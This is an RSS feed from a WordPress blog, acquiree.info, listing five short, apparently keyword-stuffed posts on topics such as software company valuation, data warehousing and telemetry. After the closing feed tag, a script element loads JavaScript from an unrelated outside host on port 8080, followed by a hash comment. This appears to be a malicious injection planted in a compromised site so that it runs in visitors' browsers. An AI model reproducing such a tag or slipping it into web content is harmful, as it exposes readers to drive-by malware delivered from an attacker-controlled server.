<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>acquiree &#187; cagc</title>
	<atom:link href="http://acquiree.info/tag/cagc/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info</link>
	<description></description>
	<lastBuildDate>Sun, 27 Jun 2010 23:12:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Sell a Software Company &#8211; The Valuation Dilema</title>
		<link>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema</link>
		<comments>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema#comments</comments>
		<pubDate>Wed, 21 Oct 2009 09:58:47 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[acquisition company]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[crew]]></category>
		<category><![CDATA[helper]]></category>
		<category><![CDATA[line]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema</guid>
		<description><![CDATA[
One of the most challenging aspects of selling a software company is coming up with a business valuation. Sometimes the valuations provided by the market (translation &#8211; a completed transaction) defy all logic. In other industry segments there are some pretty handy rules of thumb for valuation metrics. In one industry it may be 1 [...]]]></description>
		<wfw:commentRss>http://acquiree.info/acquisition-company/sell-a-software-company-the-valuation-dilema/feed</wfw:commentRss>
		<slash:comments>51</slash:comments>
		</item>
		<item>
		<title>Why people interested in research data online?</title>
		<link>http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online</link>
		<comments>http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online#comments</comments>
		<pubDate>Tue, 18 Aug 2009 18:04:53 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[drilling]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online</guid>
		<description><![CDATA[
Data research services are a fastest growing industry. There is a vast resource of information on web which can be of in good use to you. Data research is systematic gathering, evaluation and analysis of data relating to sale and distribution of financial products and services regarding consumer’s preferences.
 Data research needs skilled workforce for [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/why-people-interested-in-research-data-online/feed</wfw:commentRss>
		<slash:comments>38</slash:comments>
		</item>
		<item>
		<title>Logging the data received from the dynamometer</title>
		<link>http://acquiree.info/data-acquisition/logging-the-data-received-from-the-dynamometer</link>
		<comments>http://acquiree.info/data-acquisition/logging-the-data-received-from-the-dynamometer#comments</comments>
		<pubDate>Tue, 11 Aug 2009 18:06:10 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[manager]]></category>
		<category><![CDATA[marine]]></category>
		<category><![CDATA[observer]]></category>
		<category><![CDATA[party]]></category>
		<category><![CDATA[recording]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/logging-the-data-received-from-the-dynamometer</guid>
		<description><![CDATA[
On old-fashioned dynamometers, the operator or the observer had to manually record the simultaneous readings on paper. 
Nowadays, most dynamometers replace the observer&#8217;s notes with computerized devices that acquire and store the data.
Because of the very loud noise generated by the dynamometer and the engine, a performance test is stressful to anyone who&#8217;s watching it. [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/logging-the-data-received-from-the-dynamometer/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Tips to Consider Before Choosing a Data Warehouse Vendor</title>
		<link>http://acquiree.info/data-acquisition/tips-to-consider-before-choosing-a-data-warehouse-vendor</link>
		<comments>http://acquiree.info/data-acquisition/tips-to-consider-before-choosing-a-data-warehouse-vendor#comments</comments>
		<pubDate>Tue, 11 Aug 2009 18:03:37 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[air]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[gun]]></category>
		<category><![CDATA[HSE]]></category>
		<category><![CDATA[mechanic]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/tips-to-consider-before-choosing-a-data-warehouse-vendor</guid>
		<description><![CDATA[
Data warehousing has become such an essential issue in an organization that you will find the market flooded with several data warehousing vendors. The warehousing vendors provide technologies, tools and methods that help in managing, using, constructing and maintaining software&#8217;s used for a data warehouse. In most of the cases, these tools themselves are used [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/tips-to-consider-before-choosing-a-data-warehouse-vendor/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Evaluating Telemetry Data</title>
		<link>http://acquiree.info/data-acquisition/evaluating-telemetry-data</link>
		<comments>http://acquiree.info/data-acquisition/evaluating-telemetry-data#comments</comments>
		<pubDate>Tue, 04 Aug 2009 18:01:52 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[Au3]]></category>
		<category><![CDATA[cagc]]></category>
		<category><![CDATA[crew]]></category>
		<category><![CDATA[line]]></category>
		<category><![CDATA[seismic]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/evaluating-telemetry-data</guid>
		<description><![CDATA[
The word Telemetry, like all English words, is a culmination of the Greek words tele meaning remote and metron meaning measure. Thus, Telemetry is the science and technology of remote measurement, and relaying of data by wire, radio, or other means from inaccessible locations, as from orbiting satellites or space vehicles, to receiving stations where [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/evaluating-telemetry-data/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
	</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->